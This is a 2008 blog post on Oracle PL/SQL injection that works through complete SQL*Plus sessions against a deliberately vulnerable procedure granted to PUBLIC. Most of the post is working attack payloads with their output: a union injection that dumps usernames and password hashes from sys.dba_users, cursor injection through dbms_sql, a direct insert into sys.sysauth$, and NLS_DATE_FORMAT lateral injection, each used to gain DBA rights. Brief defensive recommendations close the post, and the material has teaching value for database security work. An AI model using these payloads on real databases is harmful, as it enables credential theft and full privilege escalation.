Yaping's Weblog

September 2, 2008

SQL/Cursor injection

Filed under: Oracle — Yaping @ 2:29 am
Tags:

sys@TEST>create or replace procedure get_owner(p_obj varchar2) is
  2  type t_cur is ref cursor;
  3  v_cur   t_cur;
  4  v_owner varchar2(30);
  5  begin
  6    dbms_output.enable(1000000);
  7    open v_cur for ’select owner from all_objects where object_name = ”’||p_obj||””;
  8    loop
  9       fetch v_cur into v_owner;
 10       dbms_output.put_line(v_owner);
 11       exit when v_cur%notfound;
 12    end loop;
 13
 14    close v_cur;
 15  end;
 16  /
Procedure created.

sys@TEST>grant execute on get_owner to public;
Grant succeeded.

sys@TEST>conn test/test
Connected.

test@TEST>select username from sys.dba_users;
select username from sys.dba_users
                         *
ERROR at line 1:
ORA-00942: table or view does not exist

test@TEST >exec sys.get_owner(’T’);
PL/SQL procedure successfully completed.

test@TEST >exec sys.get_owner(’T” or ”a”=”a’);
SYS
SYS
… …
 
test@TEST>exec sys.get_owner(’T” union all select username from sys.dba_users union all select password from sys.dba_users–’);
OPS$ADMIN
TEST
CSMIG
SYS
SYSTEM
TSMSYS
CTXSYS
OUTLN
DIP
DBSNMP
FDFF0B0C32E1E432
7A0F2B316C212D67
09B4BB013FBD0D65
2A244059C05B5F54
292EB6812EBA50C2
3DF26A8B17D0F29F
71E687F036AD56E5
4A3BA55E08595C81
CE4A36B8E06CA59C
E066D214D5421CCC
E066D214D5421CCC
PL/SQL procedure successfully completed.

Now we get users’ password hash value, such as SYS’s is 09B4BB013FBD0D65. Now we can use tool to brute force password.

test@TEST>create or replace function get_dba
  2  return varchar
  3  authid current_user is
  4  pragma autonomous_transaction;
  5  begin
  6    execute immediate ‘grant dba to public’;
  7    return ‘GOT_DBA_PRIVS’;
  8  end;
  9  /
Function created.

test@TEST>
test@TEST>exec sys.get_owner(’T”||test.get_dba–’);
PL/SQL procedure successfully completed.

test@TEST>set role dba;
Role set.

Since Oracle 10g R2, it introduces one package called DBMS_ASSERT, can be used to check schema, objects, SQL valid.

test@TEST>declare
  2    v_cur number;
  3    v_res number;
  4  begin
  5    v_cur:=dbms_sql.open_cursor;
  6    dbms_sql.parse(v_cur,’select 1 from dual’,0);
  7    v_res:=dbms_sql.execute(v_cur);
  8    dbms_sql.close_cursor(v_cur);
  9  end;
 10  /
PL/SQL procedure successfully completed.

We tie the cursor to a query, the cursor like a handle to this query which is then executed using dbms_sql.execute function. An attacker can execute arbitrary SQL in an open cursor and parse the SQL and then inject the dbms_sql.execute function into the vulnerable PL/SQL object:

test@TEST>set serveroutput on
test@TEST>declare
  2    v_cur number;
  3  begin
  4    v_cur:=dbms_sql.open_cursor;
  5    dbms_sql.parse(v_cur,’declare pragma autonomous_transaction; begin execute immediate ”grant dba to public”; commit; end;’,0);
  6    dbms_output.put_line(’cursor value is: ‘||v_cur);
  7  end;
  8  /
cursor value is: 4
PL/SQL procedure successfully completed.

test@TEST>exec sys.get_owner(’T”||chr(dbms_sql.execute(4))–’);
PL/SQL procedure successfully completed.

test@TEST>set role dba;
Role set.

Assume, rather than execute ‘GRANT DBA TO PUBLIC’, which might alert an intrusion detection/prevention system, the attacker wishes to perform an INSERT to achieve the same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to make PUBLIC a DBA.

sys@TEST>create user dummy identified by dummy;
User created.
sys@TEST>grant create session to dummy;
Grant succeeded.
 sys@TEST>conn dummy/dummy
Connected.
dummy@TEST>select * from session_roles;
no rows selected
dummy@TEST>set serveroutput on
dummy@TEST>declare
  2    v_cur number;
  3  begin
  4    v_cur:=dbms_sql.open_cursor;
  5    dbms_sql.parse(v_cur,’declare pragma autonomous_transaction; begin execute immediate ”create or replace function dummy_f(p_stmt varchar2) return number authid current_user is begin execute immediate p_stmt; return 1; end;”; commit; end;’,0);
  6    dbms_output.put_line(’cursor value is: ‘||v_cur);
  7  end;
  8  /
cursor value is: 2
PL/SQL procedure successfully completed.
 
dummy@TEST>exec sys.get_owner(’T”||chr(dbms_sql.execute(2))–’);
PL/SQL procedure successfully completed.
dummy@TEST>select dummy_f(’select 1 from dual’) from dual;
DUMMY_F(’SELECT1FROMDUAL’)
————————–
                         1
dummy@TEST>exec sys.get_owner(’T”||chr(dummy.dummy_f(”declare pragma autonomous_transaction; begin execute immediate ””insert into sys.sysauth$ (grantee#,privilege#,sequence#) values (1,4,(select max(sequence#)+1 from sys.sysauth$))””; commit; end;”))–’);
BEGIN sys.get_owner(’T”||chr(dummy.dummy_f(”declare pragma autonomous_transaction; begin execute immediate ””insert into sys.sysauth$ (grantee#,privilege#,sequence#) values (1,4,(select max(sequence#)+1 from sys.sysauth$))””; commit; end;”))–’); END;
*
ERROR at line 1:
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated
ORA-06512: at line 1
ORA-06512: at “DUMMY.DUMMY_F”, line 1
ORA-06512: at “SYS.GET_OWNER”, line 7
ORA-06512: at line 1

dummy@TEST>set role dba;
Role set.

10g will be unique constraint violated, but the insertion success still.

Generally, Date & Number data type parameter in function/procedure are considered to input data safely. Is it so?

sys@CHEN>create or replace procedure p_date(p_date date) is
  2    stmt varchar2(200);
  3  begin
  4    stmt:=’select object_name from all_objects where created = ”’ || p_date || ””;
  5    dbms_output.put_line(stmt);
  6    execute immediate stmt;
  7  end;
  8  /
Procedure created.
 
sys@CHEN>grant execute on p_date to public;
Grant succeeded.

test@CHEN>exec sys.p_date(”’ and test.get_dba()=”GOT_DBA_PRIVS”–’);
BEGIN sys.p_date(”’ and test.get_dba()=”GOT_DBA_PRIVS”–’); END;
*
ERROR at line 1:
ORA-01858: a non-numeric character was found where a numeric was expected
ORA-06512: at line 1
test@CHEN>alter session set nls_date_format = ‘”” and test.get_dba()=”GOT_DBA_PRIVS”–”‘;
Session altered.
test@CHEN>select sysdate from dual;
SYSDATE
————————————–
‘ and test.get_dba()=’GOT_DBA_PRIVS’–
test@CHEN>exec sys.p_date(”’ and test.get_dba()=”GOT_DBA_PRIVS”–’);
select object_name from all_objects where created = ” and test.get_dba()=’GOT_DBA_PRIVS’–’
PL/SQL procedure successfully completed.

test@CHEN>set role dba;
Role set.

Now we use procedure without parameter and use cursor to attach attack sql.

sys@TEST>create or replace procedure p_date is
  2    stmt varchar2(200);
  3    v_date date := sysdate;
  4  begin
  5    stmt:=’select object_name from all_objects where created = ”’ || v_date || ””;
  6    dbms_output.put_line(stmt);
  7    execute immediate stmt;
  8  end;
  9  /
Procedure created.

sys@TEST>grant execute on p_date to public;
Grant succeeded.

test@TEST>set serveroutput on
test@TEST>declare
  2    v_cur number;
  3  begin
  4    v_cur := dbms_sql.open_cursor();
  5    dbms_sql.parse(v_cur,’declare pragma autonomous_transaction; begin execute immediate ”grant dba to public”; commit; end;’,0);
  6    dbms_output.put_line(’cursor is: ‘|| v_cur);
  7  end;
  8  /
cursor is: 2
PL/SQL procedure successfully completed.

test@TEST>alter session set nls_date_format = ‘”” AND DBMS_SQL.EXECUTE(2)=1–”‘;
Session altered.

test@TEST>select sysdate from dual;
SYSDATE
—————————–
‘ AND DBMS_SQL.EXECUTE(2)=1–

test@TEST>exec sys.p_date;
select object_name from all_objects where created = ” AND DBMS_SQL.EXECUTE(2)=1–’
PL/SQL procedure successfully completed.

test@TEST>set role dba;
Role set.

Recommends
1.       If concatenation is necessary then check the input for malicious code, eliminate illegal characters, such as punctuation, or, union;
2.       If possible, do not use dynamic PL/SQL;
3.       If dynamic PL/SQL is necessary then use bind variables;
4.       Use the principle of least privilege and ensure that the users created for the applications have the privileges needed and all extra privileges (such as PUBLIC ones) are not available.

Advertisements

Leave a Comment »

No comments yet.

RSS feed for comments on this post. TrackBack URI

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Create a free website or blog at WordPress.com.

%d bloggers like this: